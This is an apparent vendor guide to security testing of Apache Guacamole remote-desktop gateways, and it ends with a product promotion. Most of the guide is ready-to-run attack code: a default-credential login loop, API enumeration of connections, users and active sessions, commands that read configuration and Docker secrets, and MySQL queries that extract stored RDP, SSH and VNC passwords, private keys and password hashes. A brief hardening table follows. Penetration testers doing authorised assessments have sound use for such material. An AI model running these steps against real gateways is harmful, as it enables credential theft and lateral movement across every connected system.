Apache Guacamole Security Testing: Default Credentials, API, Database, and MySQL RDP/SSH Passwords

Apache Guacamole is a widely deployed open-source clientless remote desktop gateway supporting RDP, SSH, VNC, and Telnet — it provides browser-based access to servers and workstations. The critical risk: guacadmin/guacadmin are the documented default credentials that grant admin access to the entire gateway; MySQL/MariaDB stores all connection parameters including RDP passwords, SSH private keys, and VNC passwords often in plaintext; the JSON API provides full connection management; the guacd daemon on TCP 4822 may be exposed; and a single Guacamole compromise provides lateral movement credentials to every connected system. This guide covers systematic Apache Guacamole security assessment.

Table of Contents

  1. Default Credentials and API Token Testing
  2. API Connection and User Group Enumeration
  3. MySQL RDP/SSH Credential Extraction
  4. Apache Guacamole Security Hardening

Default Credentials and API Token Testing

# Apache Guacamole — default credentials and API token testing
GUAC_URL="https://guacamole.example.com"

# Test documented default credentials (guacadmin/guacadmin)
for CRED in "guacadmin:guacadmin" "admin:admin" "guacamole:guacamole"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  AUTH=$(curl -s -X POST "${GUAC_URL}/api/tokens" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -d "username=${USER}&password=${PASS}" 2>/dev/null)
  TOKEN=$(echo "$AUTH" | python3 -c "
import json,sys
d=json.load(sys.stdin)
t = d.get('authToken','')
u = d.get('username','')
ds = d.get('dataSource','')
if t:
    print(f'OK token={t[:30]}... user={u} dataSource={ds}')
else:
    print('FAIL: '+str(list(d.keys())))
" 2>/dev/null)
  echo "${USER}:${PASS}: ${TOKEN}"
done

# With auth token — enumerate all connections
AUTH_TOKEN="your-guacamole-auth-token"
DATA_SOURCE="mysql"  # or postgresql
curl -s "${GUAC_URL}/api/session/data/${DATA_SOURCE}/connections" \
  -H "Guacamole-Token: ${AUTH_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Connections: {len(d)}')
for id,conn in list(d.items())[:10]:
    print(f'  [{id}] {conn.get(\"name\")} protocol={conn.get(\"protocol\")} active={conn.get(\"activeConnections\")}')
" 2>/dev/null

API Connection and User Group Enumeration

# Apache Guacamole API — connection and user group enumeration
GUAC_URL="https://guacamole.example.com"
AUTH_TOKEN="your-guacamole-auth-token"
DATA_SOURCE="mysql"

# Get all connection groups (organizational structure)
curl -s "${GUAC_URL}/api/session/data/${DATA_SOURCE}/connectionGroups" \
  -H "Guacamole-Token: ${AUTH_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Connection groups: {len(d)}')
for id,grp in list(d.items())[:10]:
    print(f'  [{id}] {grp.get(\"name\")} type={grp.get(\"type\")} children={grp.get(\"childConnectionCount\",0)}')
" 2>/dev/null

# Get specific connection parameters (MAY include password in response)
CONN_ID="1"
curl -s "${GUAC_URL}/api/session/data/${DATA_SOURCE}/connections/${CONN_ID}/parameters" \
  -H "Guacamole-Token: ${AUTH_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Connection parameters for {CONN_ID}:')
for k,v in d.items():
    # Parameters include: hostname, port, username, password, private-key, etc.
    if v:
        print(f'  {k}: {str(v)[:80]}')
" 2>/dev/null

# Get all users
curl -s "${GUAC_URL}/api/session/data/${DATA_SOURCE}/users" \
  -H "Guacamole-Token: ${AUTH_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Users: {len(d)}')
for uname,u in list(d.items())[:10]:
    print(f'  {uname}: lastActive={u.get(\"lastActive\",\"\")}')
    attrs = u.get('attributes',{})
    print(f'    email={attrs.get(\"guac-email-address\",\"\")} disabled={attrs.get(\"disabled\")}')
" 2>/dev/null

# Get active sessions (users currently connected)
curl -s "${GUAC_URL}/api/session/data/${DATA_SOURCE}/activeConnections" \
  -H "Guacamole-Token: ${AUTH_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Active sessions: {len(d)}')
for id,sess in list(d.items())[:10]:
    print(f'  [{id}] user={sess.get(\"username\")} conn={sess.get(\"connectionIdentifier\")} started={sess.get(\"startDate\",\"\")[:19]}')
" 2>/dev/null

MySQL RDP/SSH Credential Extraction

# Apache Guacamole MySQL — RDP/SSH/VNC credential extraction
# The database stores all connection parameters — the critical find

# guacamole.properties — Guacamole configuration
cat /etc/guacamole/guacamole.properties 2>/dev/null | grep -E "mysql|jdbc|postgresql|auth|ldap"
# mysql-hostname, mysql-port, mysql-database
# mysql-username, mysql-password — plaintext DB credentials

# Docker environment variables
docker inspect guacamole 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['MYSQL','GUACD','POSTGRES','LDAP','TOTP','HEADER','SECRET']):
            print(e)
" 2>/dev/null

# MySQL — extract ALL stored connection credentials
mysql -h localhost -u guacamole -pPASSWORD guacamole_db 2>/dev/null << 'EOF'
-- All connections with their types
SELECT c.connection_id, c.connection_name, c.protocol,
       c.parent_id, c.max_connections
FROM guacamole_connection c
ORDER BY c.protocol, c.connection_name
LIMIT 20;
EOF

-- THE CRITICAL QUERY: All connection parameters including passwords
mysql -h localhost -u guacamole -pPASSWORD guacamole_db 2>/dev/null << 'EOF'
SELECT c.connection_name, c.protocol,
       p.parameter_name, p.parameter_value
FROM guacamole_connection_parameter p
JOIN guacamole_connection c ON p.connection_id = c.connection_id
WHERE p.parameter_name IN (
    'hostname', 'port', 'username', 'password',
    'private-key', 'passphrase',
    'vnc-password',
    'sftp-password', 'sftp-private-key',
    'domain'
)
ORDER BY c.protocol, c.connection_name, p.parameter_name
LIMIT 50;
EOF
-- password: RDP/VNC/SFTP passwords in PLAINTEXT
-- private-key: SSH private key content (PEM format) in PLAINTEXT
-- passphrase: SSH key passphrase in PLAINTEXT

-- All users with password hashes
mysql -h localhost -u guacamole -pPASSWORD guacamole_db 2>/dev/null << 'EOF'
SELECT u.user_id, u.entity_id,
       e.name as username, u.password_hash,
       u.password_salt, u.password_date,
       u.disabled
FROM guacamole_user u
JOIN guacamole_entity e ON u.entity_id = e.entity_id
ORDER BY u.user_id
LIMIT 10;
EOF

Apache Guacamole Security Hardening

Apache Guacamole Security Hardening Checklist:
Security TestMethodRisk
guacadmin/guacadmin default credential accessPOST /api/tokens with guacadmin/guacadmin — documented default; full admin access to all connections; enables immediate extraction of all stored credentials and lateral movement to all connected systemsCritical
MySQL connection_parameter RDP/SSH credential extractionSELECT parameter_value FROM guacamole_connection_parameter WHERE parameter_name IN ('password','private-key') — all RDP passwords and SSH private keys in plaintext; complete credentials for every server accessible via the gatewayCritical
API connection parameter credential retrievalGET /api/session/data/mysql/connections/{id}/parameters — Guacamole API returns connection parameters including passwords for some connection types; enables credential extraction without database accessHigh
guacd TCP 4822 daemon exposurenc -z target 4822 — if guacd is exposed beyond localhost, attacker may send guacd protocol instructions to initiate unauthorized remote desktop connections bypassing web application authenticationHigh
Active session enumeration and session token replayGET /api/session/data/mysql/activeConnections — enumerate all active user sessions; captured Guacamole-Token values allow session impersonation; monitor for concurrent admin sessionsMedium

Automate Apache Guacamole Security Testing

Ironimo tests Apache Guacamole deployments for guacadmin/guacadmin default credential access, MySQL connection_parameter RDP/SSH/VNC password extraction, API connection parameter credential retrieval, guacd TCP 4822 daemon exposure, active session enumeration and token replay, connection group structure and server inventory mapping, user account enumeration, LDAP configuration extraction from guacamole.properties, Docker MySQL root password exposure, and session recording configuration assessment.

Start free scan